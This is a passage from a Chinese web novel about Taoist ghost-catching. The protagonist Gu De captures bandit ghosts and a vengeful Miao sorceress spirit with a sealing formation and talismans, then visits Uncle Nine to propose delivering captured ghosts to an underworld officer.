喉咙里发出“咯咯”的充满贪婪与杀意的怪响。
就在这时,异变再生!
尸堆最中心、那具苗女头领的尸体,突然毫无征兆地剧烈抽搐了一下!
她身上那件色彩斑斓的苗服无风自动,乌黑的长发如同有生命般飘散开来。
“咔……”
一声轻微得几乎听不见却又仿佛直接响在灵魂深处的碎裂声。
苗女头领紧闭的双眼,勐地睁开!
没有眼白,没有瞳孔,只有两团深邃无比、仿佛能吞噬一切光线的漆黑漩涡!
一股比那四个巨汉恶鬼加起来还要阴冷、还要邪异、还要令人绝望的气息,如同沉寂的火山般轰然爆发!
“嗤啦——!”
她身上的苗服多处撕裂,一道凝实得近乎拥有质感,周身缠绕着浓郁黑红煞气的魂体,从尸身的天灵盖处缓缓升起!
这魂体的面容与她生前一般无二,甚至更加妖艳诡异,那两道浓黑的眼线仿佛活了过来,在煞气中蜿蜒。
乌黑的嘴唇勾起一抹冰冷怨毒到极致的弧度。
厉鬼!
而且是厉鬼中颇为凶戾的那种!
其气息强度,远超那四个刚刚步入恶鬼层次的巨汉!
古德在树上看得分明,心中暗道一声:“果然!”
他之前就有所怀疑。
九叔最后以桃木剑结合灵官咒,确实摧毁了这苗女头领的邪法本源和大部分魂魄,按理说应该魂飞魄散。
但此女精擅蛊毒邪术,魂魄构造或许有异,更可能在最后关头,以某种秘法将一缕核心怨念或本命蛊的残灵,潜藏了起来。
此刻借助此地浓郁的血气、死气、怨气,以及她自己尸身残留的邪力,竟然化为了更凶的厉鬼!
这可比电影里单纯化为厉鬼要棘手和诡异得多。
此刻,所有马贼的鬼魂已然全部苏醒。
数十个模煳透明的喽啰怨魂,飘荡在空中,发出呜呜的、意义不明的低泣,形成一片灰蒙蒙的鬼雾。
四个面目狰狞、煞气腾腾的巨汉恶鬼,如同四尊门神,悬浮在尸堆四周,虎视眈眈。
而最强的苗女厉鬼,则高踞尸堆之顶,漆黑的双瞳冷冷地扫视全场,最终,与那四个恶鬼一样,将目光牢牢锁定在了结界内唯一的几个活人阿强和他的同伴身上。
活人的生气,尤其是刚刚经历过战斗、情绪剧烈波动、精神疲惫的活人,对这些新死的鬼物而言,如同黑暗中的灯塔,又像饥饿野兽面前的血肉,有着致命的吸引力。
吞噬生魂阳气,可以加速它们稳固魂体,甚至提升实力,缓解魂体的痛苦与怨念的灼烧。
苗女
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厉鬼似乎恢复了些许生前的神智与威严。
她抬起半透明的、黑红煞气缠绕的手,轻轻一挥。
无需言语,一种无形的命令已然下达。
呜呜呜——
霎时间,阴风骤起!
数十个喽啰怨魂发出尖利的呼啸,如同灰色的潮水,从四面八方朝着正在休息的阿强几人飘去,虽然速度不快,但那密密麻麻、扭曲蠕动的魂体,足以让任何看到的人肝胆俱裂。
四个巨汉恶鬼也发出低吼,身形一动,带着浓厚的黑气,如同四辆战车,呈包围之势,缓缓逼近。
它们的目标明确,就是吞噬这些活人的魂魄,以泄身死之恨,以补魂体之虚!
阿强正靠着石头,迷迷糊糊差点睡着,突然激灵灵打了个冷战,一股透骨的寒意从尾椎骨直冲天灵盖!
他猛地睁开眼,只见天色不知何时暗了下来,周围光线变得无比晦暗,空气中弥漫着一股更加阴冷令人汗**倒竖的气息。
“怎、怎么回事?天怎么阴了?”
他茫然地抬头,随即,他的目光对上了正从山坳方向飘来的、那密密麻麻、扭曲惨淡的灰影,以及灰影后方,那四个如同黑烟凝聚的恐怖巨人,还有尸山顶上,那个散发着让他灵魂都为之颤栗气息的诡异女子身影!
“鬼……鬼啊!!!”
阿强的惨叫如同被掐住脖子的公鸡,陡然划破了结界内死寂的空气!
他连滚爬爬地从石头上摔下来,手脚并用地向后蹭,裤子瞬间湿了一片。
其他几个乡民也被他的惨叫惊醒,茫然四顾,随即同样看到了那令人魂飞魄散的恐怖景象。
“妈呀!”
“救命!有鬼!”
“九叔!师父救命啊!”
凄厉的哭喊声、求救声响成一片。
几个人吓得魂不附体,腿软得如同面条,别说逃跑,连站都站不稳,只能瘫在地上,眼睁睁看着那些恐怖的鬼影越来越近,冰冷的死气几乎要冻结他们的血液。
苗女厉鬼看着这几个吓破胆的活人,乌黑的嘴唇咧开,露出一个残忍而快意的笑容。
她似乎很享受这种猎物在绝望中崩溃的模样。
她缓缓抬起手,指向阿强,就要发出最后的杀戮指令。
然而,就在这千钧一发、阿强几人绝望闭目等死的瞬间。
一个平静的年轻男声,如同惊雷般,突兀地响起,清晰地传入每一个鬼魂以及活人的耳中:
“哟,都醒了?排队排得挺整齐嘛。省得我一个一个去找了。”
声音来自……上方?
所有鬼魂,包括那苗女厉鬼,猛地抬头。
只见众人(鬼)头顶上方,一棵老槐树茂密的枝叶间,一道人影如同轻盈的落叶,飘然而下,稳稳落在阿强几人与鬼魂大军之间,背对着吓瘫的阿强,面向着那密密麻麻的鬼物。
正是古德。
第238章 饿了就去吃
古德负手而立,神色平静,甚至嘴角还带着一丝若有若无的笑意,仿佛眼前这数十怨魂、四大恶鬼、一尊厉鬼的恐怖阵容,不过是土鸡瓦狗。
他扫视了一圈众鬼,目光尤其在苗女厉鬼身上顿了顿,点了点头:
“嗯,怨魂四十七,恶鬼四,厉鬼一……品相完整,怨气也足。这趟总算没白忙活。”
“你……是你?!”
阿强看清来人,眼睛瞪得几乎脱眶,嘴巴张得能塞进一个鸡蛋。
恐惧、震惊、不可思议,还有一丝绝处逢生的狂喜,各种情绪在他脸上交织,让他那张本来就肿着的脸显得更加滑稽。
而对面,以苗女厉鬼为首的所有马贼鬼魂,在短暂的惊愕之后,无边的怨毒与杀意,如同火山般彻底爆发!
它们生前死于此人之手,死后化为鬼物,第一眼看到的仇人,竟然还是他!
新仇旧恨,滔天怨念,尽数锁定在了古德一人身上!
阴风怒号,鬼啸震天!
整个八卦锁魂阵内的空间,仿佛瞬间化为了幽冥鬼域!
“动手!给我撕了他!吞噬他的生魂!我要让他永世不得超生!”
女厉鬼头领发出尖利刺耳的啸叫,那声音仿佛用指甲刮擦玻璃,直钻脑仁。她双手勐地向前一推,周身翻腾的黑红煞气中,无数细小扭曲蠕动的蛊虫虚影密密麻麻地凝聚成形。
发出令人头皮发麻的“嘶嘶”声,化作一片遮天蔽日的漆黑虫云,率先朝着古德扑压过去!
这些虫影介乎虚实之间,专噬阳气、污秽魂魄,是她魂体中残留的蛊毒邪法所化,阴毒刁钻,防不胜防。
“嗷!”
“死!”
四只巨汉所化的恶鬼头领也咆孝着,带着滚滚戾气,从不同方向扑向古德,它们魂体凝实,爪牙锋利,带着生前横练的凶悍和死后的怨毒,声势骇人。
呜呜呜——!”
数十怨鬼则如同潮水般紧随其后,它们虽然单体弱小,但数量众多,怨气联结,也形成了一股不容小觑的阴邪洪流。
面对这铺天盖地、足以让普通修士头皮发麻的鬼潮邪术,古德却连眼皮都没多抬一下。
他甚至连背后的琴盒都没取出,琴盒在他刚才下来的时候就已经快速取出。
古德只是好整以暇地站在原地,右手抬起,食中二指并拢如剑,对着脚下地面,轻轻一点。
一点金红色的微光,如同投入静潭的石子漾开的涟漪,无声地扩散开来。
“束魂阵,启。”
随着他话音落下。
“嗡!”
“嗡!”“嗡!”“嗡!”……
连续八声轻微却震颤灵魂的嗡鸣,几乎同时从八个不同的方位响起!
正是古德之前布下束魂符的乾、坤、震、巽、坎、离、艮、兑八个卦位!
每一处阵基符箓所在,都骤然亮起一团拳头大小的金红色光点!
光点之中,隐约有玄奥的八卦符文流转闪烁。
八点金红光芒瞬间彼此链接,构成一个完美笼罩战场的巨大八卦虚影!
紧接着,那层之前隐没在空气中肉眼难辨的淡金色透明光罩,如同从水底迅速浮起的巨碗,骤然变得清晰凝实,金光流转,符文明灭,将包括古德、阿强等人、众鬼以及大半个战场尸堆在内的区域,牢牢倒扣在其中!
八卦锁魂阵,彻底激活!
光罩出现的瞬间,一股强大而奇异的束缚力场骤然降临!
“怎么回事?!”
“我的身体……好重!”
“动……动不了!谁在拉我?!”
“力量……我的阴气在消散?!”
扑向古德的鬼魂们,无论是疾冲的恶鬼,还是汹涌的怨鬼潮,甚至是那片最先袭来的蛊虫黑云,都像是突然撞进了一面无形的、充满粘稠胶水的墙壁!
动作瞬间变得迟缓无比,如同电影慢放。
越是阴气重、魂体凝实的鬼物,受到的束缚感越强。
那些怨鬼还好,只是速度大减,飘忽不定。
而那四只恶鬼和女厉鬼头领,则感觉魂体像是被无数无形的丝线缠绕,举手投足都异常费力,魂体内的阴气运转也滞涩不畅,连维持基本的凶戾形态都开始变得困难!
女厉鬼头领释放出的蛊虫黑云,更是首当其冲。
光罩上流转的金红色符文光芒照射下来,那些由阴邪蛊术幻化的小虫虚影发出密集的“滋滋”声,如同烈日下的冰雪,迅速消融蒸发,转眼间就消散了大半,剩余的也萎靡不振,失去了大半威力。
“阵法?!你……你早就布下了阵法?!”
女厉鬼头领惊怒交加,声音尖利得变了调。
她拼命催动魂体本源,试图爆发出更强的邪力冲破这该死的束缚,却惊恐地发现,这金光流转的阵法不仅极大限制了她的行动。
那金红光芒照在魂体上,更带来一阵阵灼烧般的刺痛,并在持续地压制并且净化她魂体中赖以存在的阴煞邪气!
让她感到一阵阵发自魂体深处的虚弱和无力。
“宾果,答对了。”
古德这才慢悠悠地开口。
“简易束魂阵,八卦为基,符箓为引,勾连地气,专困新生阴魂,压制阴煞。你们戾气虽重,但魂体新成,阴气未固,根基不稳,正好被此阵克制。
若是让你们吸足月华阴气,稳固了鬼体,或者跑出这片刚死的凶煞地,收拾起来还真要多费点手脚。现在嘛……”
他拍了拍手,掸去并不存在的灰尘,“正好一锅端。”
说话间,他动作可没停。
调侃归调侃,正事不能耽误。
左手看似随意地探入怀中,实则是连通了房车空间,如同变戏法般,掏出了厚厚一沓怕是有上百张的明黄色符纸。
正是之前用过的那种专门收鬼的收鬼符。
“去
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!”
古德一声轻叱,不见他如何用力,手腕只是轻轻一抖。
“嗖嗖嗖嗖——!”
数十张收鬼符如同被无形的力量牵引,瞬间从符沓中飞出,化作一片黄云,朝着那些被阵法束缚得行动迟缓,正在拼命挣扎却收效甚微的怨魂喽啰们疾射而去!
这些怨鬼本就被阵法束缚得厉害,行动迟缓,灵智也相对低下,面对飞来的符纸,几乎没什么有效的抵抗。
符纸如同长了眼睛,精准地贴在每一只怨鬼的额头或胸口。
“嗤嗤嗤……”
一连串轻微的爆鸣声响起,贴中符纸的怨鬼发出短促的惨叫或呜咽,魂体迅速扭曲、缩小,被吸入符纸之中。
吸完鬼魂的符纸光芒一闪,自动沿着特定纹路折叠起来,变成一个个小巧精致的黄色三角包,如同秋天的落叶,纷纷扬扬地从半空飘落,洒了一地。
整个过程快得令人眼花缭乱。
从古德掷出符纸,到最后一个怨魂被吸入符中,前后不过三四个呼吸的时间!
刚才还乌泱泱一大片、鬼哭狼嚎的怨魂潮水,顷刻间被清扫一空!
地上只剩下几十个静静躺着的黄色三角符包,以及空中残留的并且迅速消散的淡淡青烟。
那四只恶鬼和女厉鬼头领看得目眦欲裂,又惊又怒,它们拼命挣扎,魂体黑气狂涌,试图冲破阵法束缚,施展压箱底的手段。
那苗女厉鬼更是再次凝聚出几道稀薄的蛊虫虚影,试图干扰古德。
但古德却懒得再给它们更多表演机会了。
“轮到你们了。”
他淡淡说了一句,脚下步法一变,身形如清风,主动朝着那四只被阵法束缚如同陷入琥珀飞虫般的恶鬼飘去。
他甚至没有去用青铜阔剑,区区几个恶鬼,不用那么麻烦。
古德只是抬起了右手,食指与中指再次并拢,指尖之上,一点炽白耀眼令人无法直视的雷光悄然凝聚,发出细微的“噼啪”声响,散发出至阳至刚,专破邪祟的凛然气息。
“阳五雷·指间雷,连珠。”
随着他平静的话语,手腕轻颤。
“嗤!嗤!嗤!嗤!”
四道仅有发丝粗细、却凝练纯粹到极致的白色电光,几乎不分先后,如同拥有生命的白色小蛇,从他指尖弹射而出!
电光速度奇快无比,在空中留下短暂的灼痕,精准地射向四只恶鬼魂体的核心之处。
“呃啊——!”
“嗬!”
四只恶鬼如遭雷击,魂体剧烈颤抖,发出痛苦的嚎叫。
阳五雷的破邪之力在它们被阵法压制的魂体内爆发,瞬间重创了它们的戾气根本,让它们本就凝滞的魂体几乎溃散。
“饿了就去吃士力架!”
古德身形出现在四只恶鬼身前,随口说了一句。
左手早已扣住的四张品阶明显更高的收鬼符随手甩出。
第239章 是时候找九叔谈生意了
“啪!”“啪!”“啪!”“啪!”
四声轻响,符纸精准地贴在四只恶鬼虚幻模煳的额头。
符纸上朱光爆闪,强大的吸力传来,将正处于崩溃边缘、毫无反抗之力的四只恶鬼魂体强行收束、拉入符中。
符纸折叠,落下。
从古德主动出击,到四只凶焰滔天的恶鬼头领被收服,整个过程,比收拾那些怨魂喽啰还要快上一线!
加起来不到十个呼吸!
树下,瘫在地上的阿强和另外几个乡民,此刻已经完全看傻了。
他们的嘴巴从一开始就没合上过,眼睛瞪得像铜铃,下巴都快掉到胸口了。
刚才那黑压压的鬼潮、恐怖的四巨人恶鬼,还有那高高在上的苗女厉鬼……
那足以让他们做一辈子噩梦的恐怖景象,就在他们眼前,被这位古大师如同拂去灰尘、拍死蚊蝇般,轻描淡写、弹指之间,给……灭了?收了?
这**还是人吗?!这简直是神仙下凡!不,神仙都没这么利索!
他们看向古德的眼神,充满了最纯粹的如同仰望高山深海般的敬畏,以及一丝丝对超越理解范畴之力量的、本能的恐惧。
阿强更是觉得,自己之前居然敢对这位爷和他的女伴不敬,简直是他十八辈子积攒下来的最大作死行为!
他现在只想回去给祖师爷多上几炷香,感谢祖师爷保佑自己还能喘气。
现在,整个结界之内,还站着的鬼物,只剩下中央尸堆顶端,那个孤零零的苗女厉鬼头领了。
她目睹手下被如同收垃圾般轻易扫除,心中的惊怒和怨毒已经达到了顶点,同时也升起了一丝前所未有的恐慌。
她知道,自己踢到铁板了!
这个年轻道士,比那个林九英更难缠,更狠,准备得更充分!
自己就算在全盛时期,恐怕也未必是他对手,更何况是现在这新死不久、魂体未固的状态,还被困在这该死的阵法里!
逃?阵法封锁,无处可逃。
求饶?对方眼神澹漠,杀意已决。
拼命?或许是唯一的选择,虽然希望渺茫。
“我跟你拼了!”
女厉鬼头领发出绝望的尖啸,魂体猛地膨胀起来,周身的黑色阴气和残余的蛊虫虚影疯狂涌动,竟隐隐有冲破阵法束缚的趋势!
她竟是不顾魂体本源受损,要强行燃烧残余的邪力和怨念,做最后一搏!
乌黑的嘴唇猛地张开,一道凝练如实质、带着浓郁腥臭和诅咒气息的漆黑光束,如同**般射向古德!
这是她魂体本源所化的“阴煞毒咒”,一旦沾染,不仅能腐蚀肉身,更能污秽魂魄,歹毒无比。
“垂死挣扎,倒也够狠。”
古德冷哼一声,脸上终于露出一丝认真。
他不再托大,右手在胸前快速划动,指尖带起残影,瞬间勾勒出一个金光流转的八卦虚影,护在身前。
同时左掌猛地向前平推,掌心之中,刺目欲盲的炽白雷光疯狂汇聚、压缩!
“阳五雷·**,破邪!”
“轰隆——!!”
一颗拳头大小、白光刺目的雷球从他掌心轰然推出,迎向那道漆黑毒咒光束!
“轰隆!”
至阳雷霆与至阴毒咒在半空碰撞,爆发出沉闷的巨响!
白光与黑气激烈纠缠、消磨,发出“滋滋啦啦”的腐蚀声响。
僵持了约莫一息,终究是古德以精纯法力催动、更克制邪祟的阳五雷占据了上风!
雷光炸裂,将漆黑毒咒彻底湮灭,残余的雷霆之力甚至逆冲而上,重重轰击在女厉鬼头领膨胀的魂体上!
“啊——!!!”
女厉鬼头领发出凄厉到极点的惨叫,魂体被雷光炸得黑气四散,迅速萎靡缩小,变得比普通怨鬼还要虚弱透明,连维持飘浮都做不到了,瘫软在地,仅剩的阴气丝丝缕缕地溢散。
古德走到她面前,居高临下地看着她。
女厉鬼头领仰起惨淡的魂脸,眼中充满了无尽的怨毒、不甘,还有一丝彻底的绝望。
“你……你到底……是谁……”她嘶哑地问。
“一个路过的收债人罢了。”
古德淡淡的道,不再多言,最后一张明显材质更好,符文更加复杂深邃的红色收鬼符从他指尖飘落,轻轻贴在那虚幻魂体的额心。
红光一闪,女厉鬼头领带着最后的不甘与怨毒,被收入符中,折叠成一个比其他三角符颜色更深一些的符包。
古德弯腰,将地上所有的三角符包一一拾起,粗略数了数,满意地点点头。
这一波,收获颇丰。
虽然都是新鬼,质量不算顶尖,但数量够多,加起来阴德应该相当可观。
他心念一动,撤去了八卦锁魂阵。
八处阵基的符箓无火自
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燃,瞬间化为灰烬,那倒扣的金色光罩也如同泡影般消散。
外界的阳光、清风、以及正常的温度瞬间涌入,将结界内残留的阴冷诡异气息冲刷一空。
林间重新变得明亮温暖起来,仿佛刚才那鬼域般的一幕从未发生过。
直到这时,阿强才像是重新学会了呼吸,连滚爬爬地扑过来,也顾不上什么面子了,抱着古德的大腿就开始嚎:
“古大师!古大侠!多谢救命之恩!多谢您的救命之恩啊!我阿强这条命是您给的!以后我给您当牛做马,端茶送水,洗衣叠被……呜呜呜,刚才吓死我了,我真的以为我要**……”
他刚才可是真真切切在鬼门关前走了一遭,那种被群鬼环伺、冰冷绝望的感觉,他这辈子都不想再体验第二次。
古德嫌弃地皱了皱眉,轻轻一挣,便将腿从阿强那涕泪横流的怀抱中抽了出来:
“行了行了,别嚎了,我耳朵疼。”
古德摆摆手,打断阿强的表忠心,“赶紧的,带着你的人,把该处理的尸体处理好,然后麻熘地滚回镇子去。回去见到你师父,就跟他说……”
他顿了顿,给九叔留足了面子,也省得自己多费口舌解释:
“就说,这些马贼煞气太重,死后魂魄有些不稳,有些异动,不过我已经顺手清理干净了,让他不必再挂心此事,安心处理镇上的事情便是。”
“是是是!古大师放心!我一定把话带到!一字不漏!”
阿强忙不迭地点头如捣蒜,看古德的眼神充满了最纯粹的敬畏,简直比看他亲师父还要恭敬十分。
古德不再停留,转身向着密林深处,自己停车的地方走去。
清晨的阳光穿过林间枝叶的缝隙,在他身上投下跳跃的光斑,将那月白色的身影衬托得愈发神秘而出尘。
他掂了掂手中那个变得沉甸甸的装满了三角符包的布袋,听着里面隐约传来的、只有灵觉才能感知到的细微怨念波动,嘴角那抹愉悦的弧度愈发明显。
他抬头看了看天色,日头渐高。
“嗯,先去车里把符放了,好好洗漱一下,拿瓶好酒。然后再去拜访一下九叔,顺便谈谈接下来的合作事宜了。”
心情愉悦的古德,脚步轻快地消失在林木掩映的小径尽头。
只留下身后劫后余生,心有余悸的阿强几人快速的逃离了这片战场。
第240章 日常之上门拜访九叔
等古德手里拎着两瓶从香江带来的好酒,不紧不慢地再次踱回富贵镇时,日头已经升得老高,接近午时了。
白日的富贵镇,与昨夜那死寂诡谲的模样截然不同。
虽然经历了马贼袭扰的惊吓,但劫后余生的庆幸,以及打退强敌的喜悦,还是让镇子恢复了不少生气。
青石板铺就的街道两旁,店铺大多已经开门,卖杂货的、沽酒的、扯布的,伙计们懒洋洋地倚着门框,或低声交谈昨夜惊魂,或好奇地打量来往行人。
几个半大孩子不知愁地在街巷里追逐打闹,妇人们聚在井边一边洗衣洗菜,一边压着声音兴奋地议论。
古德这身月白长衫,背负古怪琴盒的打扮形象,和清晨与九叔并肩作战的事迹早已传开在镇上,一路行来,吸引了无数好奇、敬畏、感激的目光。
卖菜的大娘硬要塞给他一把水灵灵的小葱,茶馆掌柜远远就拱手作揖,更有胆大的半大小子跟在他身后一段,指指点点,眼神发亮。
对此,古德只是微微颔首,面带淡笑,脚步不停。
他不太习惯这种被当英雄围观的场面,还是更喜欢之前那种深藏功与名的状态。
快到镇子西头的岔路口时,他一眼就瞧见了那道翘首以盼的窈窕身影。
阿草就站在路口那棵老树下,穿着一身素净的浅绿色碎花衣裙,衬得肌肤越发白皙。
她双手交叠放在身前,脚尖不自觉地轻轻点着地面,一双秋水般的眸子时不时朝镇内方向张望。
她柳叶似的眉毛微微蹙着,红润的嘴唇也轻轻抿着,那张原本明媚灵动的小脸上,此刻写满了“望眼欲穿”四个大字,还掺着三分委屈、三分担忧、三分幽怨。
古德摸摸鼻子,心里莫名有点虚。
他快走几步,来到阿草面前,还没开口,阿草那带着水汽的眼眸就瞥了过来,声音轻轻柔柔,却像带着小钩子:
“老板……您可算回来了。着都大中午了,我还以为……还以为你事情办完,自己开车走了,把我一个人丢在这人生地不熟的镇子里了呢。”
古德被她这眼神看得有点讪讪,干咳一声,晃了晃手里的酒:
“怎么会?就是去处理了点手尾,顺便打了点酒。我还需要你给我开车,怎么会半路扔下你。”
他顿了顿,补充道,“除非你自己想走。”
“我才不走!”
阿草立刻反驳,随即意识到自己反应有点大,脸微微一红,赶紧转移话题,“老板,我们现在去哪?”
虽然最早是被迫跟着古德的,但是随着现在和古德相处越久,阿草发现自己已经离不开古德了。
就算没有那个冥契在,她也不会离开。
“去林道长的道场拜访。谈点正事。”
古德说着,顺着记忆里九叔告知的方位,朝着镇子西头走去。
“是,老板。”阿草乖巧地应了一声,拿过古德手里的酒,亦步亦趋地跟在古德身侧。
按照九叔之前告知的地址,两人穿街过巷,越走越偏,渐渐离开了镇子最热闹的区域,来到西头靠近山脚的一片清净所在。
这里的房屋明显稀疏了许多,大多是带着小院的平房,白墙黑瓦,掩映在几丛翠竹和古树之后,环境清幽。
九叔的道场就在这片区域的尽头,背靠着一片缓坡竹林,占地比周围人家要大上不少。
远远看去,是一圈用黄土掺着碎石夯实的齐胸高围墙,墙头生着些斑驳的苔藓。
一扇看起来有些年头的黑漆木门虚掩着,门楣上挂着一块不起眼的木匾,上面用朴拙的隶书写着林氏寄寓四个字,显得很低调。
古德上前,扣响了门上的铜环。
“吱呀”一声,门很快从里面拉开。
开门的是阿强,他换了一身干净的粗布衣裳,脸上红肿消了一些,但眼眶还有点青,看到古德和阿草,脸上立刻堆起十二分热情又带着点谄媚的笑容,腰弯得低低的:
“古大师!您来了!快请进快请进!师父在里面等着您呢!阿草
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……姑娘也来了,请进请进!”
他侧身让开,动作幅度很大,差点自己绊自己一跤。
古德点点头,迈步而入。
阿草瞥了阿强一眼,没说话,抱着酒跟在古德身后。
进门先是一个颇大的院子,地面用青砖铺就,打扫得干干净净。
院子一侧整整齐齐地晾晒着不少东西。
成捆的草药、一些处理过的兽骨、几簸箕颜色各异的豆子谷物,还有几排架子上搭着洗得发白的道袍和粗布衣衫。
院子一角有一口石砌的老井,井沿光滑。
另一侧则搭着个简陋的棚子,下面堆着柴火和一些农具。
整个院子充满了生活气息,朴素而井然有序,与其说道场,更像一个殷实、整洁的农家院落。
院子尽头,是一排三间连在一起的青砖瓦房,看起来有些年头了,但维护得不错。
正中是堂屋,左右各有一间厢房。
九叔大概是听到了动静,已经从中间的堂屋里走了出来。
他换下了昨夜那身沾满尘土血污的短打,穿了一身半旧的藏青色道袍,头发用木簪重新束好,洗去了脸上的烟尘,虽然眉宇间仍有一丝疲惫,但整个人看起来精神了不少,那股子沉稳正气的气度愈发凸显。
“古道友,你来了。快请进。”
九叔脸上露出笑容,迎了上来,目光在古德和阿草身上扫过,尤其在古德背后那个琴盒上顿了顿,但没多问。
“林道长,冒昧来访,一点薄礼,不成敬意。”
古德示意阿草将手里的酒递上。
“古道友太客气了,人来就好,还带什么礼物。”
九叔接过酒,入手沉甸甸,闻到那醇厚酒香,眼中笑意更真了些。
“昨夜多亏道友仗义出手,该是我好好酬谢道友才是。来,屋里坐,粗茶淡饭,已经备下了,我们边吃边聊。”
“林道长盛情,古某就却之不恭了。”古德拱手笑道。
九叔侧身将古德和阿草让进堂屋。
第241章 林道长快人快语,那古某也直说了
堂屋不算大,但很整洁。
正对门的墙壁前,设着一张又一张长长的供桌,上面整齐地摆放着数十个黑底金字的牌位,香烟袅袅,气氛庄重肃穆。
供桌前的香炉里,插着几根尚未燃尽的线香。
见古德目光落在那些牌位上,九叔解释道:
“这些都是镇上一些人家,将自家祖先的牌位供奉在我这里。一来图个清净,二来嘛,有阿强日常诵经上香,也算是对先人的一点心意。”
他语气平和,仿佛在说一件很平常的事情。
古德点了点头,心中了然。原来如此。
这富贵镇九叔的道场,性质更偏向于一个社区祠堂兼私人法坛。
难怪他习惯把捉来的鬼物先封在这里。
有这么多受香火供奉的本地祖先牌位坐镇,天然就能形成一种主场优势,对**和化解外来的凶魂怨鬼有极大的辅助作用,还能借助这份绵长的香火愿力,慢慢消磨鬼物的戾气。
这法子既实用,又省力,还与镇民联系紧密,确实比任家镇义庄那种单纯存放棺材和尸体的地方更高级一些,也解释了九叔在此地威望颇高的原因。
他守护的不仅是活人,某种意义上也在照看着镇上许多家族的根。
“九叔考虑周全。”古德赞了一句。
九叔摆摆手,引着古德穿过堂屋,来到东侧的偏房。
这里显然是兼做厨房和餐厅之用
房间一角砌着土灶,旁边是水缸和碗柜。
中间摆着一张八仙桌,此时桌上已经摆好了几样热气腾腾的菜肴。
一大碗油光发亮的红烧肉,一碟清炒时蔬,一碗豆腐汤,还有一碟切好的腊肠和咸鱼。虽不算特别丰盛,但在刚刚经历劫难的镇子上,已算是难得的待客佳肴了。
旁边还放着几个空碗和筷子。
“古道友,阿草姑娘,坐,坐。粗茶淡饭,不成敬意,先将就着填填肚子。忙活了一夜,想必也饿了。”
九叔招呼两人落座,自己也在主位坐下。
古德也没过分推辞,依言坐下。
阿草则安静地站到了古德身后的墙边,眼观鼻鼻观心,一副标准侍女模样,对桌上的饭菜似乎毫无兴趣。
阿强站在九叔身后,眼巴巴地看着桌上的红烧肉,喉咙不自觉地滚动了一下,看阿草都没有入座,他也不敢坐下,只能偷偷咽口水。
古德看了一眼桌上的饭菜,又瞥了一眼旁边冷清的灶台,心里了然。
这饭菜看着就不像是刚刚开火现做的,更像是从镇里哪家酒楼饭馆叫来的。
看来自己刚到村口,恐怕就有人给九叔报了信,这饭菜也是临时安排人送来的。
不过这也正常,九叔显然一夜没怎么合眼,又要处理伤员安抚镇民,哪有功夫亲自下厨张罗。
“林道长在这富贵镇,很受乡亲们爱戴啊。”
古德夹了一快子青菜,随口说道。
这待遇,可比电影里在任家镇时动不动就被人怀疑面要强太多了。
看来九叔在这边的确经营得不错,威望也高。
九叔给古德斟了碗清茶,又给自己倒上,闻言苦笑了一下:
“都是乡亲们抬爱。我在此地落脚有些年头了,平日里帮着处理些白事,看看风水,驱驱小邪,大家日子过得太平,也就给我几分薄面。比起
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……唉,不说也罢。”
他似乎想起了一些不愉快经历,摇了摇头,举碗道:
“来,古道友,昨夜凶险,多亏有你。这一碗,敬你!”
“林道长言重了,分内之事,同饮!”
古德也举起碗,两人碰了一下,各自喝了一大口。
九叔没有开古德带来的就,倒的是镇上自酿的米酒,度数不高,入口绵甜,后味带着粮食的香气,正好解乏。
两人边吃边聊了些闲话,多是九叔询问古德之前游历的见闻,古德则挑些能说的,比如在港岛遇到的一些奇闻异事,不过是改编版,两人之间气氛渐渐融洽。
酒过三巡,菜也下去小半。
古德注意到九叔几次欲言又止,拿着快子的手抬起又放下,显然心里还惦记着正事,只是不太好意思在饭桌上直接开口。
古德放下碗快,拿起旁边的粗陶茶杯喝了一口清茶,主动开口道:
“林道长,可是有什么话要说?你我之间,不必见外,但说无妨。”
九叔闻言,也放下快子,脸上露出一丝不好意思的笑容:
“古道友果然敏锐。既然如此,我也就直说了。之前我师弟四目在信中提到,古道友似乎与地府有些往来,不知……”
他顿了顿,似乎在斟酌词句:
“不知古道友此次前来,除了送信,是否还有其他事情?若有用得着我林九英的地方,请尽管开口。”
古德微微一笑,知道正戏来了。
他也不绕弯子,直接说道:
“林道长快人快语,那古某也直说了。我此来,确实有一事想与道长商量,或者说,合作。”
第242章 阿草,客气点
他看了九叔一眼,继续道:
“不瞒道长,我因缘际会,与地府一位鬼差有些交情。彼此有个约定,我需定期为其提供一些在阳间滞留不去躲避阴差勾魂,或为祸一方的棘手鬼物,由他押解回地府,按阴律处置。至于报酬么......”
古德笑了笑,他看到九叔听得很认真,便继续道:
“地府自有规矩,我这边有些辛苦费.....我知道林道长你这里,常年捉鬼镇邪,不少鬼物都封存在此,等待慢慢化解怨气再行超度。这自然是功德无量的稳妥之法,但也耗时费力。
我的想法是,若林道长信得过,可以将一些处理起来麻烦、或者您暂时无暇仔细超度的鬼物交给我。
由我统一送往那位鬼差手中,直接带入地府,该受审的受审,该轮回的轮回。这样一来,林道长你既免去了**工夫,该得的阴德一份不会少,还能腾出手来应对其他邪祟,岂不是两便?”
林九英(此时谈话进入正题,两人之间的称呼会有所改变,所以用回本名更显正式)听完,眼中先是掠过一丝恍然,随即是思索,最后点了点头,神色郑重了许多。
“原来如此。”
林九英沉吟片刻,缓缓道,“不瞒古……”
古德打断了林九英,笑着说:“林道长直接叫我名字就好。”
林九英看了一眼古德,很自然的换了个更显亲近的称呼,“行,我就托大喊你一声阿德。你也可以叫我九哥。我这边确实收押了一些棘手的鬼物,怨气深重,超度起来颇费时日,一直是个心腹之患。
放在这寄寓之中,虽有先人牌位和阵法**,但终究怕有疏漏,万一被有心人利用,或自己跑出来,又是祸事。
阿德,此事……你与那位鬼差,当真能确保阴德记录无误?那些鬼物下去后,又会如何处置?不会因其怨气未消,反而加重地府负担,或于我有损吧?”
他问得很仔细,这是对古德负责,也是对他自己道心负责。
古德神色坦然:
“九哥放心。我与那位鬼差打交道非止一次,流程熟稔。送下去的鬼物,自有地府判官依其生前死后业力审判,该入哪层受刑,该入哪道轮回,皆有定规。
至于阴德,乃是天地规则所定,协助引渡阴魂,消弭阳间祸患,此乃善功,地府簿册自有记录,做不得假。
九哥若是不放心,初次合作,可以先挑一两只无关紧要的鬼物试试,看后续感应便知。”
他这番话说得合情合理,既表明了合作诚意,也给了对方验证的空间。
虽然地府之下会有一些其他交易,例如之前的小宜和那些小日子鬼,还有海魔。
不过那也是和古德沟通过的,真有那样的,相信赵吏也不会瞒着乱来,古德相信岚婆那边也会看着。
林九英经过昨晚并肩作战,以及今早阿强回来后语无伦次的描述,林九英对古德的为人和能力已经有了相当程度的信任。
